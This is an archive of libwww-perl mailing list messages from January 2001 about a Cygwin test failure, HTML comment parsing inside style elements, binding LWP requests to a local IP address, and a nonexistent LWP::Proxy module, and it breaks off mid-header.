From gerrit.haase@t-online.de Thu Jan 11 22:24:33 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa03487 for <hyper>;
          11 Jan 2001 22:24 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08284
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 11 Jan 2001 22:24 PST
Received: (qmail 20927 invoked by uid 508); 12 Jan 2001 06:24:22 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 20918 invoked from network); 12 Jan 2001 06:24:21 -0000
Received: from mailout00.sul.t-online.com (194.25.134.16)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 06:24:21 -0000
Received: from fwd03.sul.t-online.com 
	by mailout00.sul.t-online.com with smtp 
	id 14GxdL-0000Q2-01; Fri, 12 Jan 2001 07:24:19 +0100
Received: from gods.ods.org (320081107336-0001@[62.224.39.113]) by fmrl03.sul.t-online.com
	with smtp id 14GxdJ-1ESQ76C; Fri, 12 Jan 2001 07:24:17 +0100
Received: from loreley ([192.168.1.1]) by gods.ods.org ; Fri, 12 Jan 2001 07:26:45 +0100
From: "Gerrit P. Haase" <gerrit.haase@t-online.de>
Organization: Esse keine toten Tiere
To: cygwin@sources.redhat.com, libwww@perl.org
Date: Fri, 12 Jan 2001 07:26:44 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: problems installing libwww-perl on cygwin
Reply-to: gerrit.haase@t-online.de
Message-ID: <3A5EB1B4.19054.10AC829E@localhost>
Priority: normal
In-reply-to: <3A5E5214.9050209@pacbell.net>
X-mailer: Pegasus Mail for Win32 (v3.12cDE)
X-Sender: 320081107336-0001@t-dialin.net

<Am 2001-01-11 16:38 wars, als Steve Kelem schrieb:>
< problems installing libwww-perl on cygwin >


Hi Steve,

> It was suggested that I direct this message to the Cygwin group.

No attachments in this list please (cygwin).
 
> I have downloaded the latest Cygwin and the latest perl compiled for 
> cygwin.  I'm trying to build the libwww-perl-5.48 module and running 
> into a strange problem during "make test".  Perl just hangs while 
> executing a perfectly normal statement, both inside and outside the perl 
> debugger.

Why don't you use libwww-5.49?

You use Win_NT so why do you got FAT drives?
Some things in cygwin work only on NTFS. Read perldoc perlcygwin output.
> g:  hd  FAT     2039Mb  68% CP    UN           G DRIVE

You only got user mount, no system mounts
> i:    /i       user    textmode


I got also a mistake building libwww, but that's another point:

Running make test
/bin/perl -e 'use Config; chdir q{blib/script}; foreach (qw(GET HEAD POST)) {' \
-e 'unlink "$_";' \
-e 'system("$Config{\"lns\"} lwp-request $_") && die; }'
/bin/perl t/TEST 0
base/common-req.....ok
base/cookies........ok
base/date...........ok
base/headers-auth...ok
base/headers-etag...ok
base/headers-util...ok
base/headers........ok
base/listing........ok
base/mediatypes.....ok
base/message........ok
base/negotiate......FAILED test 3
        Failed 1/3 tests, 66.67% okay
base/response.......ok
base/status.........ok
base/ua.............ok
html/form...........ok
robot/rules-dbm.....ok
robot/rules.........ok
robot/ua............ok
local/autoload......ok
local/get...........ok
local/http..........ok
local/protosub......ok
Failed Test      Status Wstat Total Fail  Failed  List of Failed
--------------------------------------------------------------------------------------
----
base/negotiate.t                       3    1  33.33%  3
Failed 1/22 test scripts, 95.45% okay. 1/285 subtests failed, 99.65% okay.
make: *** [test] Fehler 2
  /bin/make test -- NOT OK
Running make install
  make test had returned bad status, won't install without force


$ cygcheck -s

Cygnus Win95/NT Configuration Diagnostics
Current System Time: Fri Jan 12 07:22:16 2001

WinNT Ver 4.0 build 1381 Service Pack 6

Path:   /bin
        /usr/bin
        /usr/local/bin
        .
        /usr/X11R6/bin
        /usr/local/lib
        /usr/lib

SysDir: C:\WINNT\System32
WinDir: C:\WINNT

PWD = `/home/siebenschlaefer'
DEJAGNU = `/home/siebenschlaefer/.global.djg'
CYGWIN = `binmode tty ntea ntsec'
USER = `siebenschlaefer'
C_INCLUDE_PATH = `/usr/local/include'
TCL_LIBRARY = `/usr/share/tcl8.0'
LIBRARY_PATH = `/usr/lib /usr/local/lib'
MAKE_MODE = `unix'
HOME = `/home/siebenschlaefer'

Use `-r' to scan registry

a:  fd           N/A    N/A
c:  hd  NTFS    4016Mb  73% CP CS UN PA FC     California
d:  hd  NTFS    4016Mb  82% CP CS UN PA FC     NovaScotia
e:  hd  NTFS   10001Mb  60% CP CS UN PA FC     Groenland
f:  cd           N/A    N/A
g:  cd           N/A    N/A
h:  hd  NTFS   11499Mb  51% CP CS UN PA FC     Daemon
i:  hd  NTFS    3780Mb  86% CP CS UN PA FC     Iceland

H:\src\install\usr\include  /src/install/usr/i686-pc-cygwin/include  system  binmode
H:\src\install\bin  /src/install/usr/bin  system  binmode
H:\src\install\lib  /src/install/usr/lib  system  binmode
H:\src\install\lib  /src/install/usr/i686-pc-cygwin/lib  system  binmode
h:\usr\include  /usr/i686-pc-cygwin/include  system  binmode
e:\ftproot  /ftproot  system  binmode
H:\bin  /usr/bin  system  binmode
H:\lib  /usr/i686-pc-cygwin/lib  system  binmode
H:\lib  /usr/lib  system  binmode
H:    /        system  binmode
c:    /hdd/c   system  binmode
d:    /hdd/d   system  binmode
e:    /hdd/e   system  binmode
f:    /cdrom/f  system  binmode
g:    /cdrom/g  system  binmode
h:    /hdd/h   system  binmode
i:    /hdd/i   system  binmode

Found: H:\bin\bash.exe
Found: \bin\bash.exe
Found: H:\bin\cat.exe
Found: \bin\cat.exe
Found: H:\bin\cpp.exe
Found: \bin\cpp.exe
Found: H:\bin\find.exe
Found: \bin\find.exe
Found: H:\bin\gcc.exe
Found: \bin\gcc.exe
Found: H:\bin\gdb.exe
Found: \bin\gdb.exe
Found: H:\bin\ld.exe
Found: \bin\ld.exe
Found: H:\bin\ls.exe
Found: \bin\ls.exe
Found: H:\bin\make.exe
Found: \bin\make.exe
Found: H:\bin\sh.exe
Found: \bin\sh.exe

   56k 2000/12/03 H:\bin\cygbz21.0.dll
  365k 2000/10/24 H:\bin\cygdb3.dll
  463k 2000/10/24 H:\bin\cygdb_cxx3.dll
   45k 2000/12/07 H:\bin\cygform5.dll
   18k 2000/10/23 H:\bin\cyggdbm.dll
   17k 2001/01/07 H:\bin\cyghistory4.dll
   14k 2000/10/23 H:\bin\cygintl.dll
   81k 2000/12/05 H:\bin\cygitcl30.dll
   35k 2000/12/05 H:\bin\cygitk30.dll
   45k 2000/10/22 H:\bin\cygjbig1.dll
  119k 2000/10/23 H:\bin\cygjpeg6b.dll
   26k 2000/12/07 H:\bin\cygmenu5.dll
  159k 2000/12/07 H:\bin\cygncurses++5.dll
  225k 2000/12/07 H:\bin\cygncurses5.dll
   15k 2000/12/07 H:\bin\cygpanel5.dll
  162k 2000/10/23 H:\bin\cygpng2.dll
  108k 2001/01/07 H:\bin\cygreadline4.dll
  390k 2000/12/05 H:\bin\cygtcl80.dll
    5k 2000/12/05 H:\bin\cygtclpip80.dll
   10k 2000/12/05 H:\bin\cygtclreg80.dll
  243k 2000/10/23 H:\bin\cygtiff3.dll
  623k 2000/12/05 H:\bin\cygtk80.dll
  621k 2001/01/07 H:\bin\cygwinb19.dll
   41k 2000/11/20 H:\bin\cygXpm-noX4.dll
   45k 2000/11/20 H:\bin\cygXpm-X4.dll
   49k 2000/10/23 H:\bin\cygz.dll
  611k 2000/12/25 H:\bin\cygwin1.dll
    Cygwin DLL version info:
        dll major: 1001
        dll minor: 7
        dll epoch: 19
        dll bad signal mask: 19005
        dll old termios: 5
        dll malloc env: 28
        api major: 0
        api minor: 31
        shared data: 3
        dll identifier: cygwin1
        mount registry: 2
        cygnus registry name: Cygnus Solutions
        cygwin registry name: Cygwin
        program options name: Program Options
        cygwin mount registry name: mounts v2
        cygdrive flags: cygdrive flags
        cygdrive prefix: cygdrive prefix
        cygdrive default prefix:
        build date: Mon Dec 25 12:39:48 EST 2000
        shared id: cygwin1S3

   56k 2000/12/03 \bin\cygbz21.0.dll
  365k 2000/10/24 \bin\cygdb3.dll
  463k 2000/10/24 \bin\cygdb_cxx3.dll
   45k 2000/12/07 \bin\cygform5.dll
   18k 2000/10/23 \bin\cyggdbm.dll
   17k 2001/01/07 \bin\cyghistory4.dll
   14k 2000/10/23 \bin\cygintl.dll
   81k 2000/12/05 \bin\cygitcl30.dll
   35k 2000/12/05 \bin\cygitk30.dll
   45k 2000/10/22 \bin\cygjbig1.dll
  119k 2000/10/23 \bin\cygjpeg6b.dll
   26k 2000/12/07 \bin\cygmenu5.dll
  159k 2000/12/07 \bin\cygncurses++5.dll
  225k 2000/12/07 \bin\cygncurses5.dll
   15k 2000/12/07 \bin\cygpanel5.dll
  162k 2000/10/23 \bin\cygpng2.dll
  108k 2001/01/07 \bin\cygreadline4.dll
  390k 2000/12/05 \bin\cygtcl80.dll
    5k 2000/12/05 \bin\cygtclpip80.dll
   10k 2000/12/05 \bin\cygtclreg80.dll
  243k 2000/10/23 \bin\cygtiff3.dll
  623k 2000/12/05 \bin\cygtk80.dll
  621k 2001/01/07 \bin\cygwinb19.dll
   41k 2000/11/20 \bin\cygXpm-noX4.dll
   45k 2000/11/20 \bin\cygXpm-X4.dll
   49k 2000/10/23 \bin\cygz.dll
  611k 2000/12/25 \bin\cygwin1.dll
    Cygwin DLL version info:
        dll major: 1001
        dll minor: 7
        dll epoch: 19
        dll bad signal mask: 19005
        dll old termios: 5
        dll malloc env: 28
        api major: 0
        api minor: 31
        shared data: 3
        dll identifier: cygwin1
        mount registry: 2
        cygnus registry name: Cygnus Solutions
        cygwin registry name: Cygwin
        program options name: Program Options
        cygwin mount registry name: mounts v2
        cygdrive flags: cygdrive flags
        cygdrive prefix: cygdrive prefix
        cygdrive default prefix:
        build date: Mon Dec 25 12:39:48 EST 2000
        shared id: cygwin1S3

Use -h to see help about each section









gph

-- 
=^..^=
Gerrit Peter Haase
ID: 0x28A05137
FP: 875C 745E 01CF 8A34 2767  BE39 305E 5261 28A0 5137

From sburke@spinn.net Thu Jan 11 23:36:24 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa06398 for <hyper>;
          11 Jan 2001 23:36 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa27833
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 11 Jan 2001 23:36 PST
Received: (qmail 25725 invoked by uid 508); 12 Jan 2001 07:36:05 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 25716 invoked from network); 12 Jan 2001 07:36:04 -0000
Received: from spinnone.spinn.net (root@216.223.224.6)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 07:36:04 -0000
Received: from 2ch0201 (dialip57.spinn.net [216.223.225.57])
	by spinnone.spinn.net (8.8.7/8.8.7) with SMTP id AAA21958;
	Fri, 12 Jan 2001 00:28:29 -0700
Message-Id: <3.0.6.32.20010112003526.0083aab0@mail.spinn.net>
X-Sender: sburke@mail.spinn.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Fri, 12 Jan 2001 00:35:26 -0700
To: Bjoern Hoehrmann <derhoermi@gmx.net>, Dave <dave.olszewski@andover.net>
From: "Sean M. Burke" <sburke@spinn.net>
Subject: Re: possible bug in HTML::Parser comment handler
Cc: libwww@perl.org
In-Reply-To: <5.0.2.1.2.20010111231949.00a69610@pop.gmx.net>
References: <Pine.LNX.4.21.0101111526120.12491-100000@meatloop.andover. net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 11:21 PM 2001-01-11 +0100, Bjoern Hoehrmann wrote:
>At 15:28 11.01.01 -0500, you wrote:
>>It seems that the parser is not properly detecting multi-line HTML
>>comments.  I was trying to print out the dtext of a html document and
>>noticed that comments kept showing up in the output.  Upon further
>>examination, the single line comments were being ignored but ones like
>>this:
>>
>><!--
>>td {font-family: Arial,Geneva,Helvetica,sans-serif; color: #000000;}
>>-->
>
>Well, the content model of the style element is CDATA, your "comments"
>may look like comments but they are no comments in HTML and SGML
>terms. That's not a bug.

I don't see what's wrong with that comment.

 From ISO 8879 Section 10.3 declares a "comment declaration" (yes, horrible
term for it) as:

 comment declaration =
  "<!",
  (comment
    (s | comment)*
  )?
  ">"

 comment =
  "--",
  SGML_character*
  "--"

And in section 6.2.1, there's the explanation of "s":

 s = SPACE | RE | RS | SEPCHAR
  and in the concrete syntax, that means [\x20\cm\cj\t]

And as to "SGML_character", section 9.2 basically says that aside from any
characters that you go and reserve as being impermissible, anything is an
SGML_character.  (I'm getting this from the /SGML Handbook/, which contains
the full text of ISO 8879, plus annotation, etc.)


So I don't see a problem with 
  <!--
  td {font-family: Arial,Geneva,Helvetica,sans-serif; color: #000000;}
  -->



BTW, the XML spec's definition is even clearer, er, sort of:

   Comment ::= '<!--' ((Char - '-') | ('-' (Char - '-')))* '-->'

To this they add:  "Note that the grammar does not allow a comment ending
in --->. The following example is not well-formed: '<!-- B+, B, or B--->'".
 I'm a bit unclear on whether this really falls out of the grammar, but
anyway.


--
Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/


From gerrit@familiehaase.de Fri Jan 12 00:51:23 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09395 for <hyper>;
          12 Jan 2001 00:51 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18316
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 00:51 PST
Received: (qmail 31711 invoked by uid 508); 12 Jan 2001 08:50:46 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 31702 invoked from network); 12 Jan 2001 08:50:46 -0000
Received: from d-dialin-1309.addcom.de (HELO iokaste.koeln.convey.de) (62.96.164.109)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 08:50:46 -0000
Received: from ismene (192.168.5.3) by iokaste.koeln.convey.de
 (EMWAC SMTPRS 0.81) with SMTP id <B0000000309@iokaste.koeln.convey.de>;
 Fri, 12 Jan 2001 09:57:47 +0100
From: "Gerrit P. Haase" <gerrit@familiehaase.de>
Organization: convey Information Systems GmbH
To: cygwin@sources.redhat.com, libwww@perl.org
Date: Fri, 12 Jan 2001 09:48:57 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: problems installing libwww-perl on cygwin
Reply-to: gerrit.haase@convey.de
Message-ID: <3A5ED309.7943.195195@localhost>
Priority: normal
In-reply-to: <3A5EB1B4.19054.10AC829E@localhost>
References: <3A5E5214.9050209@pacbell.net>
X-mailer: Pegasus Mail for Win32 (v3.12cDE)

<2001-01-12 7:26 Uhr, hat Gerrit P. Haase geschrieben:>
< Re: problems installing libwww-perl >

> You only got user mount, no system mounts
> > i:    /i       user    textmode

Sorry, i thought textmode mounts, not user, but in this case, 
only problem seems to be FAT-filesystem.
gph

-- 
gerrit.haase@convey.de
PGP Version: 6.5.8 Public Key Information
KeyID: 0xC8C9D69A, Type/Size: DH/DSS 2048/1024bit 
Key fingerprint = 57C8 1B1D CFE4 8515 AA3E  4499 A326 0F3C C8C9 D69A

From stefan@inty.co.uk Fri Jan 12 01:52:19 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11776 for <hyper>;
          12 Jan 2001 01:52 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa04743
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 01:52 PST
Received: (qmail 4703 invoked by uid 508); 12 Jan 2001 09:52:09 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 4691 invoked from network); 12 Jan 2001 09:52:08 -0000
Received: from vic.inty.net (195.92.21.144)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 09:52:08 -0000
Received: from inty.hq.inty.net (inty.hq.inty.net [213.38.150.150])
	by vic.inty.net (8.9.3/8.9.3) with ESMTP id JAA15844
	for <libwww@perl.org>; Fri, 12 Jan 2001 09:52:05 GMT
Received: from [10.0.1.6] ([10.0.1.6])
	by inty.hq.inty.net (8.9.3/8.9.3) with ESMTP id JAA90470
	for <libwww@perl.org>; Fri, 12 Jan 2001 09:52:05 GMT
Date: Fri, 12 Jan 2001 09:52:04 +0000 (GMT)
From: Stefan Kruger <stefan@inty.co.uk>
X-Sender: stefan@ted.hq.inty.net
To: libwww@perl.org
Subject: Requests from different IP addresses?
Message-ID: <Pine.BSF.4.10.10101120946340.95470-100000@ted.hq.inty.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-skip-virus-check: yes
X-virus-checked: 59308

Hi there,

For a machine with several IP-addresses, is it possible 
to specify from which a HTTP::Request is sent?

We're trying to simulate a network environment where 
several users, each on their own IP-address, are accessing
the web concurrently.

Thanks for any pointers,

stef

-- 
Dr Stefan Kruger <stefan@inty.net> http://www.inty.net
Developer, Intelligent Network Technology Ltd
1700 Park Avenue, Aztec West, Bristol BS32 4UA, UK


This email has been virus scanned using Sophos Anti-Virus by intY (www.inty.net)


From support@alliancecommerce.net Fri Jan 12 05:49:54 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa20769 for <hyper>;
          12 Jan 2001 05:49 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05056
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 05:49 PST
Received: (qmail 26454 invoked by uid 508); 12 Jan 2001 13:49:38 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26445 invoked from network); 12 Jan 2001 13:49:36 -0000
Received: from unknown (HELO coral.alliancecommerce.net) (216.33.105.70)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 13:49:36 -0000
Received: from angel
          (cm-208-171-97-38.coralsprings.ispchannel.com [208.171.97.38])
          by coral.alliancecommerce.net (Post.Office MTA v3.5.3 release 223
          ID# 0-60633U1100L200S0V35) with SMTP id net
          for <libwww@perl.org>; Fri, 12 Jan 2001 08:51:46 -0500
From: Alliance Support <support@alliancecommerce.net>
To: _libwww <libwww@perl.org>
Subject: Re: Install Again
Date: Fri, 12 Jan 2001 08:49:34 -0500
Message-ID: <NDBBKGEAALIGINANKFKCKECICPAA.support@alliancecommerce.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal

Thanks to all those who worked with me off line on this.  Seems there isn't a solution to why

perl -e "use LWP::Proxy"

fails. Because it doesn't exist.  I received information from the application owner that their docs are incorrect.  It
should have been

perl -e "use LWP::UserAgent"

Onward and upward.....(see previous posts with this subjuct if you are interested in the details.)

Bob
Alliance Commerce Support
support@alliancecommerce.net

Please include your Domain Name in the subject line of your message.


From derhoermi@gmx.net Fri Jan 12 10:29:52 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07747 for <hyper>;
          12 Jan 2001 10:29 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa20409
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 10:29 PST
Received: (qmail 489 invoked by uid 508); 12 Jan 2001 18:29:42 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 480 invoked from network); 12 Jan 2001 18:29:42 -0000
Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 18:29:42 -0000
Received: (qmail 27674 invoked by uid 0); 12 Jan 2001 18:29:14 -0000
Received: from f-127-163.hamburg.ipdial.viaginterkom.de (HELO asgaard.gmx.net) (62.180.163.127)
  by mail.gmx.net (mail10) with SMTP; 12 Jan 2001 18:29:14 -0000
Message-Id: <5.0.2.1.2.20010112182254.00a8fe00@pop.gmx.net>
X-Sender: 723575@pop.gmx.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 12 Jan 2001 18:25:58 +0100
To: "Sean M. Burke" <sburke@spinn.net>
From: Bjoern Hoehrmann <derhoermi@gmx.net>
Subject: Re: possible bug in HTML::Parser comment handler
Cc: libwww@perl.org
In-Reply-To: <3.0.6.32.20010112003526.0083aab0@mail.spinn.net>
References: <5.0.2.1.2.20010111231949.00a69610@pop.gmx.net>
 <Pine.LNX.4.21.0101111526120.12491-100000@meatloop.andover. net>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit

At 00:35 12.01.01 -0700, you wrote:
> >><!--
> >>td {font-family: Arial,Geneva,Helvetica,sans-serif; color: #000000;}
> >>-->
> >
> >Well, the content model of the style element is CDATA, your "comments"
> >may look like comments but they are no comments in HTML and SGML
> >terms. That's not a bug.
>
>I don't see what's wrong with that comment.

See HTML 4.01 section 6.2 on CDATA:

"Although the STYLE and SCRIPT elements use CDATA for their data model, for 
these elements, CDATA must be handled differently by user agents. Markup 
and entities must be treated as raw text and passed to the application as 
is. The first occurrence of the character sequence "</" (end-tag open 
delimiter) is treated as terminating the end of the element's content. In 
valid documents, this would be the end tag for the element."

Markup like <!-- comment --> is not interpreted as "a comment" in the 
style- and script-elements, so HTML::Parser would be wrong to generate a 
comment event for this pseudo-comment.

-- 
Björn Höhrmann ^ mailto:bjoern@hoehrmann.de ^ http://www.bjoernsworld.de
am Badedeich 7 ° Telefon: +49(0)4667/981028 ° http://bjoern.hoehrmann.de
25899 Dagebüll # PGP Pub. KeyID: 0xA4357E78 # http://www.websitedev.de/


From gisle@activestate.com Fri Jan 12 10:32:25 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa07903 for <hyper>;
          12 Jan 2001 10:32 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa21038
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 10:32 PST
Received: (qmail 1791 invoked by uid 508); 12 Jan 2001 18:32:01 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 1782 invoked from network); 12 Jan 2001 18:32:01 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 18:32:01 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id KAA12287;
	Fri, 12 Jan 2001 10:31:32 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Stefan Kruger <stefan@inty.co.uk>
Cc: libwww@perl.org
Subject: Re: Requests from different IP addresses?
References: <Pine.BSF.4.10.10101120946340.95470-100000@ted.hq.inty.net>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 10:31:32 -0800
In-Reply-To: Stefan Kruger's message of "Fri, 12 Jan 2001 09:52:04 +0000 (GMT)"
Message-ID: <lrn1cwfwqj.fsf@caliper.ActiveState.com>
Lines: 28
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Stefan Kruger <stefan@inty.co.uk> writes:

> For a machine with several IP-addresses, is it possible 
> to specify from which a HTTP::Request is sent?

You can set the (undocumented) variable
@LWP::Protocol::http::EXTRA_SOCK_OPTS to specify LocalAddr.  This
variable contains additional parameters that are always passed to
IO::Socket::INET's constructor.

Something like this:

  @LWP::Protocol::http::EXTRA_SOCK_OPTS = (LocalAddr => 'xxxxxxx');

  # The normal drill
  use LWP;
  my $ua = LWP::UserAgent->new;
  my $res = $ua->request(HTTP::Request->new(GET => "http://www.perl.org"));

  print $res->as_string;

Regards,
Gisle


> We're trying to simulate a network environment where 
> several users, each on their own IP-address, are accessing
> the web concurrently.

From gisle@activestate.com Fri Jan 12 10:34:21 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08093 for <hyper>;
          12 Jan 2001 10:34 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa21595
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 10:34 PST
Received: (qmail 3074 invoked by uid 508); 12 Jan 2001 18:34:07 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 3065 invoked from network); 12 Jan 2001 18:34:06 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 18:34:06 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id KAA12290;
	Fri, 12 Jan 2001 10:33:36 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: gerrit.haase@t-online.de
Cc: cygwin@sources.redhat.com, libwww@perl.org
Subject: Re: problems installing libwww-perl on cygwin
References: <3A5EB1B4.19054.10AC829E@localhost>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 10:33:36 -0800
In-Reply-To: "Gerrit P. Haase"'s message of "Fri, 12 Jan 2001 07:26:44 +0100"
Message-ID: <lritnkfwn3.fsf@caliper.ActiveState.com>
Lines: 10
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

"Gerrit P. Haase" <gerrit.haase@t-online.de> writes:

> base/negotiate......FAILED test 3
>         Failed 1/3 tests, 66.67% okay

Looks like the bleadperl bug Andreas reported last week.  What perl
were you using?

Regards,
Gisle

From dave.olszewski@andover.net Fri Jan 12 10:45:59 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09168 for <hyper>;
          12 Jan 2001 10:45 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa24737
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 10:45 PST
Received: (qmail 5713 invoked by uid 508); 12 Jan 2001 18:45:47 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 5704 invoked from network); 12 Jan 2001 18:45:46 -0000
Received: from meatloop.andover.net (root@209.192.217.120)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 18:45:46 -0000
Received: from localhost (count@localhost)
	by meatloop.andover.net (8.11.1/8.11.1/Debian 8.11.0-6) with ESMTP id f0CIgcv17048;
	Fri, 12 Jan 2001 13:42:39 -0500
X-Authentication-Warning: meatloop.andover.net: count owned process doing -bs
Date: Fri, 12 Jan 2001 13:42:26 -0500 (EST)
From: Dave <dave.olszewski@andover.net>
X-Sender: count@meatloop.andover.net
